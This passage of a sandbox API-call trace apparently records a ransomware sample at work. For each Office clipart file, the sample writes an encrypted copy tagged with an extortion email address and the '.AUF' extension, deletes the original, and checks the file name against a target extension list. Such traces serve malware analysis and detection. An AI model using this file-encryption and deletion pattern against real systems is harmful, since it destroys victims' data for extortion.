dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.331] GetLastError () returned 0x0 [0221.331] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x43fe, lpOverlapped=0x0) returned 1 [0221.352] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4400, lpOverlapped=0x0) returned 1 [0221.354] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.354] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.354] SetEndOfFile (hFile=0x20c) returned 1 [0221.354] CloseHandle (hObject=0x20c) returned 1 [0221.354] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.355] SetEndOfFile (hFile=0x220) returned 1 [0221.355] CloseHandle (hObject=0x220) returned 1 [0221.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString=".doc") returned 4 [0221.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".docx") returned 5 [0221.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.356] lstrlenW (lpString=".pdf") returned 4 [0221.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".xls") returned 4 [0221.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.356] lstrlenW (lpString=".xlsx") returned 5 [0221.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.356] lstrlenW (lpString=".ppt") returned 4 [0221.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString=".zip") returned 4 [0221.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.356] lstrlenW (lpString=".rar") returned 4 [0221.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".bz2") returned 4 [0221.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".7z") returned 3 [0221.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString=".dbf") returned 4 [0221.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString=".1cd") returned 4 [0221.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0221.356] lstrlenW (lpString=".jpg") returned 4 [0221.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.357] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=752) returned 1 [0221.357] CloseHandle (hObject=0x220) returned 1 [0221.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0221.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.357] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.357] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.358] GetLastError () returned 0x0 [0221.358] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2f0, lpOverlapped=0x0) returned 1 [0221.493] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x300, lpOverlapped=0x0) returned 1 [0221.711] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.711] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.711] SetEndOfFile (hFile=0x20c) returned 1 [0221.711] CloseHandle (hObject=0x20c) returned 1 [0221.711] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.712] SetEndOfFile (hFile=0x220) returned 1 [0221.712] CloseHandle (hObject=0x220) returned 1 [0221.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0221.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.713] lstrlenW (lpString=".doc") returned 4 [0221.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString=".docx") returned 5 [0221.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.713] lstrlenW (lpString=".pdf") returned 4 [0221.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString=".xls") returned 4 [0221.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.713] lstrlenW (lpString=".xlsx") returned 5 [0221.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.713] lstrlenW (lpString=".ppt") returned 4 [0221.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.713] lstrlenW (lpString=".zip") returned 4 [0221.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.713] lstrlenW (lpString=".rar") returned 4 [0221.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString=".bz2") returned 4 [0221.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString=".7z") returned 3 [0221.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.713] lstrlenW (lpString=".dbf") returned 4 [0221.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.713] lstrlenW (lpString=".1cd") returned 4 [0221.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0221.713] lstrlenW (lpString=".jpg") returned 4 [0221.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.857] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3964) returned 1 [0221.857] CloseHandle (hObject=0x204) returned 1 [0221.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0221.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.857] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.857] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.858] GetLastError () returned 0x0 [0221.858] ReadFile (in: hFile=0x204, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xf7c, lpOverlapped=0x0) returned 1 [0221.871] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0221.874] ReadFile (in: hFile=0x204, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.874] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.874] SetEndOfFile (hFile=0x230) returned 1 [0221.874] CloseHandle (hObject=0x230) returned 1 [0221.875] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.875] SetEndOfFile (hFile=0x204) returned 1 [0221.875] CloseHandle (hObject=0x204) returned 1 [0221.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString=".doc") returned 4 [0221.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString=".docx") returned 5 [0221.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.876] lstrlenW (lpString=".pdf") returned 4 [0221.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString=".xls") returned 4 [0221.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.876] lstrlenW (lpString=".xlsx") returned 5 [0221.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.876] lstrlenW (lpString=".ppt") returned 4 [0221.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString=".zip") returned 4 [0221.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.876] lstrlenW (lpString=".rar") returned 4 [0221.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString=".bz2") returned 4 [0221.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString=".7z") returned 3 [0221.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString=".dbf") returned 4 [0221.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString=".1cd") returned 4 [0221.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0221.876] lstrlenW (lpString=".jpg") returned 4 [0221.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.920] GetLastError () returned 0x0 [0221.920] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4604, lpOverlapped=0x0) returned 1 [0221.929] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4610, lpOverlapped=0x0) returned 1 [0221.930] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.930] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.930] SetEndOfFile (hFile=0x230) returned 1 [0221.930] CloseHandle (hObject=0x230) returned 1 [0221.930] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.930] SetEndOfFile (hFile=0x208) returned 1 [0221.931] CloseHandle (hObject=0x208) returned 1 [0221.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0221.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.931] lstrlenW (lpString=".doc") returned 4 [0221.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.932] lstrlenW (lpString=".docx") returned 5 [0221.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.932] lstrlenW (lpString=".pdf") returned 4 [0221.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.932] lstrlenW (lpString=".xls") returned 4 [0221.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.932] lstrlenW (lpString=".xlsx") returned 5 [0221.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.932] lstrlenW (lpString=".ppt") returned 4 [0221.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.932] lstrlenW (lpString=".zip") returned 4 [0221.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.932] lstrlenW (lpString=".rar") returned 4 [0221.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.932] lstrlenW (lpString=".bz2") returned 4 [0221.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.932] lstrlenW (lpString=".7z") returned 3 [0221.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.933] lstrlenW (lpString=".dbf") returned 4 [0221.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.933] lstrlenW (lpString=".1cd") returned 4 [0221.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0221.933] lstrlenW (lpString=".jpg") returned 4 [0221.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.933] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1564) returned 1 [0221.933] CloseHandle (hObject=0x208) returned 1 [0221.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0221.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.934] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.934] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.934] GetLastError () returned 0x0 [0221.934] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x61c, lpOverlapped=0x0) returned 1 [0221.957] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x620, lpOverlapped=0x0) returned 1 [0221.958] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.958] WriteFile (in: hFile=0x230, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.958] SetEndOfFile (hFile=0x230) returned 1 [0221.958] CloseHandle (hObject=0x230) returned 1 [0221.958] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.958] SetEndOfFile (hFile=0x208) returned 1 [0221.959] CloseHandle (hObject=0x208) returned 1 [0221.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0221.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.959] lstrlenW (lpString=".doc") returned 4 [0221.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.959] lstrlenW (lpString=".docx") returned 5 [0221.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.959] lstrlenW (lpString=".pdf") returned 4 [0221.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.959] lstrlenW (lpString=".xls") returned 4 [0221.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.959] lstrlenW (lpString=".xlsx") returned 5 [0221.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.960] lstrlenW (lpString=".ppt") returned 4 [0221.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.960] lstrlenW (lpString=".zip") returned 4 [0221.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.960] lstrlenW (lpString=".rar") returned 4 [0221.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString=".bz2") returned 4 [0221.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString=".7z") returned 3 [0221.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.960] lstrlenW (lpString=".dbf") returned 4 [0221.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0221.960] lstrlenW (lpString=".1cd") returned 4 [0221.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.960] 